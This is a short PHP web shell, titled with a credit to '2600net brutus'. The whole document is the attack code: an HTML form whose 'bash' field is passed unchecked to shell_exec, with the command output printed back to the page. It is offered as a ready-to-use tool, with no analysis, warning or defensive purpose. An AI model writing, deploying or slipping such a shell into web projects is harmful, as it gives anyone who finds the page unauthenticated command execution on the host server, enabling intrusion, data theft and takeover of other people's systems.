php shell via 2600net brutus

<HTML><BODY> <p></p>
<p> ## Bash it up Capt'n ## </p>
<FORM METHOD="GET" NAME="bashful" ACTION="">
<INPUT TYPE="text" NAME="bash">
<INPUT TYPE="submit" VALUE="Run">
</FORM>
<pre>
<?php
  if($_GET['bash']) {
    $output = shell_exec($_GET['bash']);
    echo "<pre>$output</pre>";
  }
?>
</pre>
</BODY></HTML>